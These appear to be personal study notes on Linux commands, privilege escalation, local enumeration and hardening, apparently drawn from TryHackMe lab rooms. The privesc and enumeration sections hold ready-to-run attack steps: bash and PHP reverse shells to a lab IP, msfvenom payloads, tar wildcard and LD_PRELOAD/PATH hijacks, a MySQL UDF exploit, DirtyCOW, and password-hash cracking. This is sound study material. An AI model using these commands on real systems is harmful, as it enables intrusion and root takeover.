Linux Fundamentals

* Ssh username@ip
* Password
* Echo hello – echo returns input back to you
* “uname -a” – determine linux kernel version
* Commands have flags
  + <command><flag><input>
  + Learn about them with <man> command
    - Ex. Man echo
    - <command> -n – command without newline
* git log command – inside a file folder
* “ls” command
  + “ls -a” – all
  + “ls -a;” – shows permissions
    - normal root permissions should be -rw-r- -r- -
    - abnormal example of a file that is misconfigured
      * -rw-rw-r- -
  + “ls -r” – allows to operate on every file in the directory at once
    - - r w - r - - r- -, etc.
    - Changed with “chown” command – which changes user and group of any file
      * Syntax: chown user:group file
      * Ex. Chown shiba2:shiba2 file
      * Or chown <user> <file> to change user but keep group
      * Only usable if above target user
    - Chmod allows set different permissions and control who can read it
      * Chmod <permissions> <file>
      * Using numerical values for permissions (1-7) – user – group – everyone else (0 = no permissions)
      * Ex. Chmod 341 chmod 777, chmod 455
  + “ls -l” - long list format
  + ls -l <file name> - show permissions of file
  + ls -la /home combined with cat /etc/passwd
    - lists users that can login
  + ls -lart
* Find - list every file in current directory – recursive – will search every directory that is in the original directory provided (find / 🡪 entire OS searched)
  + Dependent on permissions for listing
  + Find dir -user 🡪 list every file owned by specified user
  + Find dir -group 🡪 list every file owned by a specified group
  + “-perm” find files that have specific permissions
  + “Strings” command allows users to pull human-readable text from programmed items (like C)
  + *Find flag26 by searching the all files for a string that begins with 4bceb and is 32 characters long*
    - *Ex.* **Find / -xdev -type f -print0 2>/dev/null | xargs -0 grep -E ‘^[a-z0-9]{32}$’ 2>/dev/null**
  + Search for SUID files
    - Find / -user root -perm -4000 -exec ls -ldb {} \;
  + Finding files based on group
    - -group
    - ex. find / -group root
  + finding files by username and file size
    - find /home/<user>/ -type f -user <username> -size <size>
  + finding first word of a file after opening it with “less” command
    - / <keyword> then hit enter
  + finding a file by its name
    - find / -type f -name <name> 2>/dev/null
  + find a file or directory with a space in it
    - find / -type d -name <name>\ <name> 2>/dev/null
      * the \ acts as a space escape character
* Locate
  + locate shadow | grep bak | (find / -type f -name \*.bak) 2> /dev/null
    - locates shadow file
    - look for password hashes
* fg – foreground process
* & - background process
* Grep – find data inside data
  + Grep <string> <file> <file2> <etc>
  + “-n” tells line number of a string
  + Sed command
    - ex. sed ‘148!d’ file.txt
      * return line 148 of file
  + grep -l -e “keyword being sought” -f \*
  + cat \* | grep -Eo “([0-9]{1,3}}[\.]){3}[0-9]{1,3}”
    - searches for IP addresses in files
  + -r = recursive search through folders
    - ex. grep -r “string” .
* “cat” – concatenate – outputs contents of files to the console
  + use tac to read files backwards
    - sometimes a helpful workaround when cat command is blocked
  + More and less commands as well, especially when inspecting php files
  + Use “rev” command to output text in reverse
    - Ex. Cat <file> | rev
  + Remove all spaces in file🡪 remove all new lines spaces 🡪 split by comma and get the last element in the split
    - Ex. | tr -d “\n” > file.txt
    - Cat file.txt
  + use “less” command with certain files
* EVs – Environment Variables
  + in directory enter “env” command
* File command
  + ELF = indicates executable
    - give chmod +x permissions
      * ./<file>
* Soft Shell
  + /etc/passwd – sh shell 🡪 soft link to dash shell
    - escape cat /etc/passwd | grep <string>
      * ls -lrt /bin/sh
        + /bin/bash
  + Break out of python interactive shell
    - import pty; pty.spawn(“/bin/bash”)
  + Break out of ruby shell
    - exec “/bin/bash”
* PATH Issues
  + if ls doesn’t work, try export PATH=/bin
* File has a bunch of extensions
  + gunzip <file>
* “rm” – means remove
  + “-r” – deletes every file in a directory
  + “-f” – removes warning prompts
* “mv” – allows you to move files from one place to another
  + Mv <file> <destination>
    - Ex. Mv <file> ~ 🡪 move file to home directory
  + Can also rename files
    - Ex. Mv <file> ~/<new name>
  + mv \* /receiving path/
    - move everything
  + use scp command to move files to a remote machine
    - ex. scp /home/<username>/Desktop/<filename> <username>@<ip>:/path/
    - reverse process – scp <remote user>@<ip>:”/file path\ /home path/
* “cp” – copies file as opposed to moving it
  + Cp <file> <destination>
* “mkdir” – make new directories
  + Mkdir <directory name>
* Renaming a folder
  + mv -- -<folder name> -<new name>
* “touch” creates files
  + Ex. Touch b.txt – creates txt file titled “b”
* “ln” – hard links a duplicate file to its original – whatever is done to the created link is matched in the original file
  + - Ln source destination
  + Can also do symbolic linking – glorified reference to another file
    - “ln -s <file> <destination> (files will have an arrow symbol pointing to original file)
* Running a binary
  + Run downloaded or user created programs
  + Done by providing full path to the binary
  + Can use relative paths
    - ./<file> = /tmp/aa/<file>
    - ../<file> = /tmp/<file>
    - ~/<file> = /home/<user>/<file>
* “su” allows change of user
  + “-s” allows specification of which is used when you login
* SSH-ing
  + Windows PuTTY
  + Binary on windows or MacOS
  + && = allows to execute a second command after the first one has executed successfully
  + & = background command – command will execute in background, allowing user to execute commands while this one is running without having to wait
  + $ - environment variable indicator – used to affect different processes and how they work. Editing these variables can change how certain processes work on computer
    - Touch $<variable> - change variable
  + >> - appends output to a file
  + “|” = pipe = allows to take the output of a command and use it as input for a second command
    - Ex. “cat <file> | grep <file>
    - Take file output and search for a specific string
  + “;” – similar to && but does not require first command to execute successfully
  + “>” – output redirection, redirect output of any command to a file
    - Ex. Echo hello > file
    - If file already exists, will be completely replaced
  + “>>” – appends output of a command to a file, instead of erasing it
  + Need to access shiba2 binary, which, when executed, will search for environment variable test1234 (which does not exist at this time)
    - Inputting the follow command creates test1234 environment variable and sets it equal to the preexisting $USER environment variable
    - Export test1234=$USER
    - Once shiba2 binary is run, it finds test1234 and unlocks, revealing shiba3 password
* Binary – Shiba3
  + When looking for a specific file, in this case binary file shiba4, using “find /” was partially correct.
    - Needed to add “-name shiba4”, not simply “find / shiba4”.
    - Additionally, adding “ | grep shiba4 | grep shiba4” to find hidden files
    - Find / -name flag5\* | grep “flag5\*”
* Sudo
  + “-u” specify user
    - Ex. Sudo -u <user> <command>
  + “-l” – lists user sudo privileges
* Adduser – only doable by root
  + Adduser <username>
* Addgroup – only doable by root
  + Addgroup <groupname>
  + Add user to a group using usermod command
    - Usermod -a -G <groups separated by commas> <user>
* “id” – allows you to view basic information about a user
* Nano
  + Terminal based text editor
  + Nano <file>
    - Ctrl-x – exit and save options
* Basic shell scripting
  + Storing list of commands in a file with a .sh extension
  + Save and run bash s.sh – execute commands in order as list in said file
* Directory structure
  + “/” is the basis of everything (like C: in Windows)
  + **/etc/passwd – stores user information** – often used to see all the users on a system
    - **Cat file**
    - **“groups” command shows which groups <user> is in**
  + /etc/shadow – has all the passwords of users
  + /etc/group – all groups
  + /tmp – every file inside gets deleted upon shutdown
  + /etc/sudoers – used to control the sudo permissions of every users on the system
  + /home – user directory
  + /usr – where user software is installed
  + /bin and /sbin – used for system critical files
  + /var – linux misc. directory – ***LOGS***
    - ***/var/logs***
      * ***web servers, fail2ban, UFW firewall, etc***
  + $PATH – stores all the binaries you’re able to run
* “ps” command – list of user created processes can be viewed
  + “-ef” flag for all system processes – PIDs
    - Use kill command – kill<PID>
* “top” command – shows what processes are taking up the most system resources

Linux Fundamentals

Bash history 🡪 .bash\_history found via ls -la 🡪 cat to open

Cronjob 🡪 crontab -e

Hosts file in /etc/

Alias command 🡪 stored in .bashrc 🡪 custom alias = answer

***MOTDs 🡪 stored in /etc/update-motd.d/00-header***

Finding information about the system – like kernel version – cat /etc/\*release (once inside /etc/)

Media – directory for mounted files – removable hardware

CONVERTING HEX TO ASCII

Cat <file> | xxd -r -p

Curl localhost

MYSQL

Mysql -u root -p

source <source db>

SHOW DATABASES;

SHOW TABLES

DESCRIBE [tablename]

USE <database>;

SELECT\* FROM <tables>;

Printenv to find system variables

Home/<user>/.profile 🡪 personal $PATH’s

to search for patterns

<https://www.w3schools.com/sql/sql_wildcards.asp>

SELECT \* FROM [Table] WHERE [Column] LIKE "[Pattern]";

ex. SELECT \* FROM employees WHERE last\_name LIKE "%{%}%";

* <https://tryhackme.com/room/thefindcommand>
* <https://tryhackme.com/room/bashscripting>
* <https://tryhackme.com/room/catregex>
* <https://vim.rtorr.com/>
* <https://tryhackme.com/room/toolboxvim>

Linux Privilege Escalation

* Understanding Privesc
  + the exploitation of a vulnerability, design flaw, and configuration oversights
  + critical when performing CTFs or pentesting
* Direction of Privilege Escalation
  + Horizontal
    - expand reach over the compromised system by taking over different users who is on the same privilege level
      * inherit additional files and access permissions
  + Vertical
    - higher privileges or access, through existing account that you have already compromised
* Enumeration
  + LinEnum
    - simple bash script that performs common commands related to privilege escalation
      * saves times and allowing more effort to be put toward getting root
    - important to know what it executes to manually enumerate privesc vulnerabilities in a situation where LinEnum is unavailable
  + <https://github.com/rebootuser/LinEnum/blob/master/LinEnum.sh>
  + How to get LinEnum onto target machine
    - Method 1
      * create python web server in directory where LinEnum is stored
      * “python3 -m http.server 8000”
      * wget <attacker ip>:<port>/LinEnum.sh – on victim machine
        + make sure its in a directory that the current user has permissions to write to

ex. /home/user/Documents

* + - Method 2
      * copy raw LinEnum code from local machine and paste into new file on target using Vi or Nano
        + save file with .sh extension
        + make file executable with “chmod +x <filename.sh>”
  + Running LinEnum
    - go to directory where file is located and run command “./LinEnum.sh”
  + Understanding LinEnum Output
    - * broken into different sections
    - Kernel – kernel information – kernel exploits
    - Can we read/write sensitive files
      * the world writable files are shown here – files that any authenticated user can read and write to
      * by checking permissions, can see where there is misconfiguration that allows users to write to sensitive files
    - SUID Files
      * special type of file permissions given to a file.
      * Allows the file to run with permissions of whoever the owner is – if root, runs with root privileges
      * can allow for privilege escalation
    - Crontab Contents
      * scheduled cron jobs
      * schedules commands at a specific time
      * warrants attempt of exploiting Cronjobs
      * cat /etc/crontab
      * <https://crontab-generator.org/>
      * <https://crontab.guru/>
* Abusing SUID/GUID files
  + first step in Linux privilege escalation is to check for files with SUID/GUID bit-set
    - user files with super-user privilege to get a shell into root
  + SUID Binary
    - everything in Linux is a file, each with read/write/execute permissions
      * ex. max privileges rwx-rwx-rwx
    - max number of bit to be used to set permissions is 7
      * however, when special permissions are given,becomes SUID/GUID – extra bit “4” is set to user it becomes SUID
        + when bit “2” is set to group it becomes SGID
        + ex of SUID – rws-rwx-rwx
        + ex of GUI – rwx-rws-rwx
  + Finding SUID Binaries
    - LinEnum
    - manual – find / -perm -u=s -type f 2>/dev/null
      * -perm – specific permissions
      * -u=s – any permission bits mode are set for the file
      * -type f – only search files
      * 2>/dev/null – suppresses errors
    - search for shell files with SUID
* Exploiting Writeable /etc/passwd
  + - find users with permissions that match permissions of target files
      * ex. if user7 is part of root group gid 0, and /etc/passwd is user writeable, it stands to reason that user7 can edit /etc/passwd file
  + Understanding /etc/passwd
    - stores essential user account information
      * plaintext file
      * should have general read permission as utilities use it to map user IDs to usernames
      * write access limited to root
        + erroneous additions of users or an expanded list of users is a vulnerability
  + Understanding /etc/passwd format
    - contains one entry per line for each user of system
    - fields separated by a colon
    - syntax – user:x:0:0:root:/root:/bin/bash
      * username
      * password
        + x indicates encrypted in /etc/shadow
      * UID
        + 0 – root
        + 1-99 reserved for predefined accounts
        + 100-999 – reserved by system for admin and system accounts/groups
      * GID
        + stored in /etc/group
      * User ID info
        + allows addition of extra information about user
        + used by finger command
      * Home directory
        + absolute path to the directory the user will be in when they log in
        + if it does not exist, user directory becomes /
      * Command/shell
        + absolute path of a command or shell(/bin/bash)
        + typically a shell but does not HAVE to be
  + How to exploit a writeable /etc/passwd
    - write new line entry according to above formula and create a new user
    - add password hash of choice
      * compliant hash command
      * openssl passwd -1 -salt [salt][password]
        + don’t include the brackets like a dolt
      * take value and create user account
        + nano /etc/passwd
        + new:<hash>:0:0:root:/root:/bin/bash
    - set UID, GID, shell to root
    - allow login as root user
* Escaping Vi Editor
  + Sudo -l to determine what list of commands you’re able to use as a super user on that account
    - occasionally find certain commands can be run as a root user without root password
      * enable privesc
  + Escaping Vi
    - ex. running this command shows user8 can run vi with root privileges
      * ex. (root) NOPASSWD: /usr/bin/vi
      * open vi via sudo vi
      * type :!sh to create a shell to get root
  + Misconfigured Binaries and GTFOBins
    - if found during enumeration, or check what binaries a user account you have access to can access
      * good place to look up exploits for them is GTFOBins
        + list of Unix binaries that can be exploited by an attacker to bypass local security restrictions
        + <https://gtfobins.github.io/>
* Exploiting Crontab
  + - daemon that is a long-running process that executes commands at specific dates and times
    - can create file
  + How to view Cronjobs that are active
    - cat /etc/crontab
    - always recommended to check manually
  + Format of Cronjob
    - # - ID
    - m – minute
    - h – hour
    - dom – day of the month
    - mon – month
    - dow – day of the week
    - user – what user the command will run as
    - command – what command should be run
    - ex
      * # m h dom mon dow user command
      * 17\* 1 \* \* \* root cd/&&run-parts - -report /etc/cron.hourly
  + how to exploit
    - certain files found in Crontab may be owned by root and run with root privileges but can be written by users
    - create command that will return shell and paste to file
    - create exploit using msfvenom
      * msfvenom -p cmd/unix/reverse\_netcat lhost=LOCALIP lport=8888 R
      * copy and paste output into crontab file that is running
        + echo <msfvenom output> > <script.sh>
        + in actual file directory
        + wait for shell to land (in accordance with crontab exe time)
* Exploiting PATH variable
  + - PATH is an environmental variable in Linux/Unix-like operating systems which specifies directories that hold executable programs
    - when users run any command in terminal, it searches for exe files with help of PATH variable in response to commands executed by user
      * echo $PATH
  + Escalating Privileges
    - re-writing PATH variable to location of attackers choosing
      * when a SUID binary calls the system shell to run an exe, it runs one attacker has written
      * any SUID file will run command with same privileges as the owner of the SUID file
  + Application
    - finding a script and determining its command
      * once determined, change to tmp directory
    - create imitation exe
      * echo <”command attacker wants to run”> > <name of exe being imitated>
        + ex. echo “/bin/bash” > ls
        + chmod +x ls = makes it executable
      * now change PATH variable to point to directory where imitation is stored
        + export PATH=/tmp:$PATH
        + now every time “ls” is entered, a shell will be opened
        + use

xport PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:$PATH

to reset ls back to default

* + - * + navigate back to directory where script is located and run it with “./” and a shell will be created
* Expanding Knowledge of Linux Privesc
  + Create a Checklist
    - keep track of enumeration
    - go-to list of helpful commands
  + <https://github.com/netbiosX/Checklists/blob/master/Linux-Privilege-Escalation.md>
  + <https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Linux%20-%20Privilege%20Escalation.md>
  + <https://sushant747.gitbooks.io/total-oscp-guide/privilege_escalation_-_linux.html>
  + <https://payatu.com/guide-linux-privilege-escalation>

Linux Privesc – Continued

* Service Exploits
  + MySQL exploit that takes advantage of User Defined Functions (UDFs) to run system commands as root via MySQL service
  + cd /home/user/tools/mysql-udf
    - raptor\_udf2.c exploit
    - compile
      * gcc -g -c raptor\_udf2.c -fPIC
      * gcc -g -shared -Wl,-soname,raptor\_udf2.so -o raptor\_udf2.so raptor\_udf2.o -lc
    - connect to MySQL service as the root user
      * mysql -u root
  + Create a UDF via MySQL
    - use mysql;
    - create table foo(line blob);
    - insert into foo values(load\_file('/home/user/tools/mysql-udf/raptor\_udf2.so'));
    - select \* from foo into dumpfile '/usr/lib/mysql/plugin/raptor\_udf2.so';
    - create function do\_system returns integer soname 'raptor\_udf2.so';
  + copy to function and set SUID permission
    - select do\_system('cp /bin/bash /tmp/rootbash; chmod +xs /tmp/rootbash');
  + run exploit
    - /tmp/rootbash -p
      * root access
    - remove exploit and shell
      * rm /tmp/rootbash
      * exit
* Weak File Permissions – Readable /etc/shadow
  + check via ls -l /etc/shadow
    - abnormal permissions -rw-r- - rw-
  + view contents via cat
    - save hash and crack with JtR
      * john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
  + login as root
* Weak File Permissions – Writable /etc/shadow
  + generate a new password hash with password of choice
    - mkpasswd -m sha-512 <password>
  + edit root hash in /etc/shadow with new hash
    - login with new password
* Weak File Permissions - Writable /etc/passwd
  + generate new password hash with a password of choice
    - openssl passwd <password>
  + edit passwd file with new password
  + create new root profile, copying line to bottom of list
    - newroot
* Sudo – Shell Escape Sequences
  + list programs that sudo allows user profile to run
    - sudo -l
    - visit GTFOBins
      * program listed with sudo as function to elevate privileges via escape sequence
* Sudo – Environment Variables
  + sudo can be configured to inherit certain environment variables from user environment
  + sudo -l
    - look for env\_keep options
      * LD\_PRELOAD or LD\_LIBRARY\_PATH
      * both inherited from user environment
        + LD\_PRELOAD loads a shared object before any others when a program is run
        + LD\_LIBRARY\_PATH provides a list of directories where shared libraries are searched for first
      * create a shared object using the code
        + /home/user/tools/sudo/preload.c:

gcc -fPIC -shared -nostartfiles -o /tmp/preload.so /home/user/tools/sudo/preload.c

sudo LD\_PRELOAD=/tmp/preload.so <program>

* + - * + creates root shell
  + run ldd against apache2 (program without exploits on GTFOBins) to detect shared libraries being used
    - * ldd /usr/sbin/apache2
    - create shared object with same name as a listed library
      * gcc -o /tmp/libcrypt.so.1 -shared -fPIC /home/user/tools/sudo/library\_path.c
    - run apache2 using sudo
      * sudo LD\_LIBRARY\_PATH=/tmp apache2
    - root shell
* Cron Jobs – File Permissions
  + cat /etc/crontab
    - locate full path of cron job
      * locate <filename.sh>
    - confirm permissions
      * ls -l <path, /usr/local/bin/<filename>>
      * edit with bash shell script
        + bash -i >& /dev/tcp/10.10.10.10/4444 0>&1
    - setup netcat listener on attacker machine
* CronJobs – PATH Environment Variable
  + cat /etc/crontab
    - note PATH variable starts with /home/user/
      * /home/user:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
      * create file of same name in home directory with bash shell script
        + #!/bin/bash
        + cp /bin/bash /tmp/rootbash
        + chmod +xs /tmp/rootbash
      * chmod +x /home/user/overwrite.sh
    - wait for cronjob to run
      * then run /tmp/rootbash command with -p to gain shell running with root privileges
        + /tmp/rootbash -p
      * root
    - to remove
      * rm /tmp/rootbash
      * exit
* Cron Jobs – Wildcards
  + view contents of job script
  + cat /usr/local/bin/<filename>
    - command running with \* wildcard
  + GTFOBins for tar
    - tar has command line options that let other commands run as a checkpoint feature
    - use msfvenom to generate reverse shell ELF binary
      * msfvenom -p linux/x64/shell\_reverse\_tcp LHOST=<attacker ip> LPORT=4444 -f elf -o shell.elf
    - host, pull from attacker, and set permissions chmod +x
  + create two additional files
    - touch /home/user/--checkpoint=1
    - touch /home/user/--checkpoint-action=exec=shell.elf
  + when tar command in cron job runs, wildcard will expand to include these files
    - as filenames are legal tar command line options, tar will recognize them and run them
    - setup netcat listener
  + to remove
    - rm /home/user/shell.elf
    - rm /home/user/--checkpoint=1
    - rm /home/user/--checkpoint-action=exec=shell.elf
* SUID/GUID Executables – Known Exploits
  + Find all the SUID/SGID executables
    - find / -type f -a \( -perm -u+s -o -perm -g+s \) -exec ls -l {} \; 2> /dev/null
  + try to find known exploits for each service via GTFOBins, Exploit-DB, Google, GitHub, etc.
    - download and exploit
* SUID/SGID Executables – Shared Object Injection
  + run “strace” on a SUID file and search output for open/access calls and for “no such file” errors
    - strace /usr/local/bin/suid-so 2>&1 | grep -iE "open|access|no such file"
  + search for file load attempts and see what files are shared in users home directory but cannot be found
    - ex. /home/user/.config/libcalc.so 🡪 not found
    - create config directory for file
      * mkdir /home/user/.config
  + compile bash shell code into a shared object at the location the suid executable was looking for it
    - ex. gcc -shared -fPIC -o /home/user/.config/libcalc.so /home/user/tools/suid/libcalc.c
  + execute suid file again and get shell
    - ex. /usr/local/bin/suid-so
* SUID/SGID Executables – Environment Variables
  + inheriting user’s PATH environment variable and attempting to execute programs without specifying an absolute path
  + identify file and run strings on file to look for strings of printable characters
    - ex. strings /usr/local/bin/suid-env
      * “service apache2 start
        + suggests “service” executable is being called to start webser, yet full path of exe (/usr/sbin/service) is not being used
  + compile service.c code into an exe called “serve” to spawn a bash shell
    - gcc -o service /home/user/tools/suid/service.c
    - prepend current directory to PATH variable and run suid-env exe to gain root shell
      * PATH=.:$PATH /usr/local/bin/suid-env
* SUID/SGID Executables – Abusing Shell Features
  + verify path with strings between two files to confirm which uses absolute path and what does not
    - ex. strings /usr/local/bin/suid-env2
      * /usr/sbin/service apache2 start
        + absolute
    - vs strings /usr/local/bin/suid-env
      * service apache2 start
  + in Bash versions <4.2-048
    - possible to define shell functions with names that resemble file paths and export functions to be used instead of actual executables in path
    - verify bash version is less than 4.2-048
      * /bin/bash - -version
    - create bash function that executes new bash shell and export
      * function /usr/sbin/service {/bin/bash -p; }
      * export -f /usr/sbin/service
    - run exploit
      * /usr/local/bin/suid-env2
* SUID/SGID Executable – Abusing Shell Features
  + (will not work on Bash v4.4+)
  + run /usr/local/bin/suid-env2 with bash debugging enabled and the ps4 (displays extra prompt for debugging statements) variable set to an embedded command which creates an SUID version of /bin/bash
    - env -i SHELLOPTS=xtrace PS4='$(cp /bin/bash /tmp/rootbash; chmod +xs /tmp/rootbash)' /usr/local/bin/suid-env2
  + run
    - /tmp/rootbash -p
  + to remove
    - rm /tmp/rootbash
    - exit
* Passwords & Keys – History Files
  + if user types password on command line instead of password prompt, may get recorded in history file
  + view contents of all hidden history files in user home directory
    - cat ~/.\*history | less
  + search for login attempts of various services
    - ex. mysql -h somehost.local -uroot -ppassword123
* Passwords & Keys – Config Files
  + list contents of user home directory
    - ls /home/user
  + note config files
    - view with cat command
  + check for references of other locations where additional login information can be found
    - ex. auth-user-pass /etc/openvpn/auth.txt
* Passwords & Keys – SSH Keys
  + look for hidden files and directories in the system root
    - ls -la /
    - view contents
      * ex. ls -l /.ssh
      * copy rsa key to attacker computer, use key to ssh into machine
        + ssh -i <rsa file> root@ip
* NFS
  + files created via NFS inherit remote user’s ID
    - root = root unless root squashing is enabled
  + to check NFS share configuration
    - cat /etc/exports
      * /tmp share – enabled or disabled root squashing?
        + no\_root\_squash
  + as root user on attacker machine
    - create mount point on box and mount /tmp share
      * mkdir /tmp/nfs
      * mount -o rw,vers=2 <victim ip>:/tmp /tmp/nfs
    - generate payload using msfvenom and save to mounted share
      * msfvenom -p linux/x86/exec CMD="/bin/bash -p" -f elf -o /tmp/nfs/shell.elf
    - make file executable and set SUID permissions
      * chmod +xs /tmp/nfs/shell.elf
  + on victim machine
    - execute file to gain root shell
      * /tmp/shell.elf
* Kernel Exploits
  + last resort – these exploits leave machines in unstable states
  + run Linux Exploit Suggester 2 tool
    - perl /home/user/tools/kernel-exploits/linux-exploit-suggester-2/linux-exploit-suggester-2.pl
      * popular Dirty COW
        + replaces SUID file /usr/bin/passwd with one that spawns a shell (backup of /usr/bin/passwd is made at /tmp/bak)
    - compile code and run
      * gcc -pthread /home/user/tools/kernel-exploits/dirtycow/c0w.c -o c0w
      * ./c0w
    - run /usr/bin/passwd
      * gain access
    - to remove
      * mv /tmp/bak /usr/bin/passwd
      * exit
* DirtyCOW
  + on vulnerable host
    - install wget and gcc packages and dependencies
      * yum -y install wget gcc dos2unix
    - create local unprivileged user account
      * useradd user
      * passwd user
  + PTRACE\_POKEDATA race condition privesc
    - /etc/passwd method PoC
      * generates new password in /etc/passwd
        + original /etc/passwd backed up into /tmp
    - login as new user and download DirtyCOW exploit
      * wget -O dirtycow.c –no-check-certificate <https://www.exploit-db.com/download/40839.c>
      * dos2unix dirtycow.c
    - Creates firefart user
      * unless change lines 47 and 131 in text editor to create newroot user
        + or sed -i ‘s/firefart/newroot/g’ dirtycow.c
  + use gcc GNU compiler to compile exploit for architecture
    - -pthread and -lcrypt flags
      * gcc -pthread dirtycow.c -o dirtycow -lcrypt
  + Execute dirtycow
    - provide new password for new account
      * su to account to escalate privs
        + check /etc/passwd to confirm new profile has replaced former root account

move /tmp/passwd.bak file to /etc/passwd to prevent future local authentication errors when done

* Privilege Escalation Scripts
  + on room machine
  + <https://tryhackme.com/room/linuxprivesc>
    - on Debian machine
      * /home/user/tools/privesc-scripts

Linux Local Enumeration

* Introduction
  + PHP upload Shell
  + php -r '$sock=fsockopen("10.6.52.121",4444);exec("/bin/sh -i <&3 >&3 2>&3");'
    - in php upload vuln
    - nc -lvnp 4444
* TTY Shell
  + python3 -c 'import pty; pty.spawn("/bin/bash")'
    - upgrade simple nc shell to tty text terminal for su and sudo
* SSH
  + look for .ssh id\_rsa file
    - get, chmod permissions (600) and ssh connect (ssh -i id\_rsa user@ip)
  + generate own id\_rsa key and include associated key into authorized\_keys file on target machine
    - ssh-keygen 🡪 id\_rsa and id\_rsa.pub files appear in own .ssh folder
      * copy content of id\_rsa.pub file and put inside authorized\_key file on target machine
* Basic Enumeration
  + uname command – prints system information
    - uname -a prints out all information
      * distro type and version
        + use to look for known exploits and vulnerabilities
  + read ~/.bash\_history file
    - enumerate system users action and retrieve potentially sensitive information
      * plaintext passwords or privilege escalation methods
    - home directory of manager and use cat/less command to print out bash history
      * ex. ~/.bash\_history
      * cat ~/.bash\_history
  + .bash\_profile and .bashrc contain shell commands that run when Bash is invoked
    - contain interesting startup setting that may reveal information
    - bash alias pointed towards an important file or process, for example
  + check sudo version
    - sudo -V
    - common target of privilege escalation
  + check sudo rights for user
    - assigned via /etc/sudoers file
    - sudo -l to check user is allowed to use sudo with any command on system
* /ETC/
  + central location for all configuration files
    - check permissions to read /etc/
  + /etc/passwd
    - essential info required during user login process
    - plain-text file
    - user ID, group ID, home directory, shell, etc
    - cat /etc/passwd
      * username:password:UID:GID:User ID Info:Home Directory:Shell and/or Command ( usually bin/bash for simple users)
      * create custom entry with root privileges
        + <http://www.hackingarticles.in/editing-etc-passwd-file-for-privilege-escalation>
  + /etc/shadow
    - stores actual passwords in encrypted format
    - reading privileges
      * cat /etc/shadow
    - username:password:days since password change:minimum number of days required between password changes:Maximum number of days:warning days
  + /etc/hosts
    - allows users to assign hostname to a specific IP address
      * helps distinguish devices
      * may reveal local addresses of other devices in network and enumerate the network further
* Find command and Interesting Files
  + important to use -type and -name
    - ex. search for files 🡪 -type f
    - ex. search files by extension 🡪 -name “\*.<ext>”
    - ex. find -type f -name “\*.bak” 2>/dev/null
  + look for log and configuration files and backup files
    - <https://lauraliparulo.altervista.org/most-common-linux-file-extensions/>
* SUID
  + Set UID
    - allows users to execute a file with permissions of another user
      * SUID permissions run with higher privileges
      * SUID bit enabled binaries
    - SUID abuse common privesc technique
      * find all SUID files – cross check with GTFOBins
        + find / -perm -u=s -type f 2>/dev/null
        + find / -perm -4000 2>/dev/null
      * grep
        + file read

grep ‘’ /etc/shadow

* Port Forwarding
  + potentially allows bypassing of firewalls and enumerate local services and processes running on the box
  + linux netstat command
    - netstat -at | less
      * all TCP connections
      * enumerate running processes and gain valuable info
    - netstat -tulpn
      * nicer output with high priority data
  + <https://fumenoid.github.io/posts/port-forwarding>
* Automating Scripts
  + Linpeas
    - wget <https://raw.githubusercontent.com/carlospolop/privilege-escalation-awesome-scripts-suite/master/linPEAS/linpeas.sh>
  + LinEnum
    - wget <https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh>
* Conclusion and Resources

Linux Hardening Basics

<https://www.oreilly.com/library/view/mastering-linux-security/9781788620307/>

* Securing User Accounts
  + - least privilege
  + Dangers of Root
    - Sudo
      * Super User DO
    - Advantages
      * slows hackers down – disable root login
      * allow non-priv users to perform priv tasks using their passwords
      * least privilege by allowing admins to assign groups of users privs
    - Adding Users to a Predefined Admin Group
      * Method 1
        + groups command && sudo -l

or visudo – opens sudo policy file

stored in /etc/sudoers

%sudo ALL=(ALL:ALL) ALL NOPASSWD: ALL

user is part of sudo group and does not need to enter local password to use sudo privs

not recommended under any circumstance

* + - * + add user – usermod -aG sudo <username>

-aG = add to group

-a = retain previously existing groups

* + - * + useradd -G sudo <username>
      * Method 2
        + add User Alias to policy file and add users to alias or add lines for individual users

ex. User\_Alias ADMINS = <ex1>, <ex2>

ADMINS ALL = (ALL) ALL

* Setting Up Sudo for Only Certain Delegated Privileges
  + Assigning Command Aliases
    - sudo visudo
      * edit # Cmnd alias specification line
        + add commands to list
        + ex. Cmnd\_Alias SYSTEM = /usr/bin/systemctl restart, /usr/bin/systemctl restart ssh, /bin/chmod
      * SYSTEM Command Alias allows user to run above commands
        + wildcards (\*) can be used to generalize commands under a given header

ex. systemctl restart \*

systemctl start, stop, enable, disable

as opposed to specific systems and apps

* + Different Ways to Assign Commands
    - assign Command Aliases to specific users, specific commands to individual users, and Command Aliases to groups
      * ex. dark ALL=(ALL) WEBDEV
      * ex. paradox ALL=(ALL) /bin/cd
      * ex. %hr ALL=(ALL) HR
  + Host Aliases
    - trickle down sudo policy across network and servers
    - large enterprise networks
* Disabling Root Access
  + Restrict Root Shell Access
    - Disable Root Login Shell
      * edit /etc/passwd file
        + root:x:0:0:root:/root:/usr/sbin/nologin

prevents users from using sudo -s

* + - Disable Root SSH Login
      * /etc/ssh/sshd\_config.conf
        + #PermitRootLogin set to no
    - Disable Root Using PAM
      * /etc/pam.d or /etc/pam.conf
        + can lock out system – so be CAREFUL
      * disable root SSHD login
  + Disabling Shell Escapes
    - * such as in text editors
    - use sudoedit in policy file instead of any editor as sudoedit does not have shell escapes
      * <user> ALL=(ALL) sudoedit /etc/my\_important\_conf.conf
* Locking Home Directories
  + new users home directory permissions are typically set to 755 (UMASK of 022)
    - UMASK is set in /etc/login.defs
      * change to 077
* Configuring Password Complexity
  + Pwquality
    - configure password complexity requirements for users
      * sudo apt-get install libpam-pwquality
        + adds entry to /etc/pam.d/common-password file
      * /etc/security/pwquality.conf
* Configuring Other Password Requirements
  + Password Expiration
    - /etc/login.defs
      * Password aging controls
        + 90 days
  + Password History
    - * remember 10 previous passwords
    - /etc/pam.d/common-password
    - <https://linux.die.net/man/5/pam.d>
* Dangers of the lxd Group
  + point of privilege escalation and should be removed from any user
  + <https://github.com/diego-treitos/linux-smart-enumeration>
    - checks for this
* Firewall Basics
  + Host-Based
    - Linux iptables
  + Network Based
  + Web Application Firewalls
* iptables
  + method of interacting with netfilter
  + Ubuntu Uncomplicated Firewall
    - frontend for iptables
  + Four Components of iptables
    - Filter Table – offers basic firewall protection
    - Network Address Translation Table – connects public interwebs to private networks
    - Mangle Table – mangles packets as they pass through firewall
    - Security Table – used by SELinux
  + iptables Commands
    - sudo iptables -L
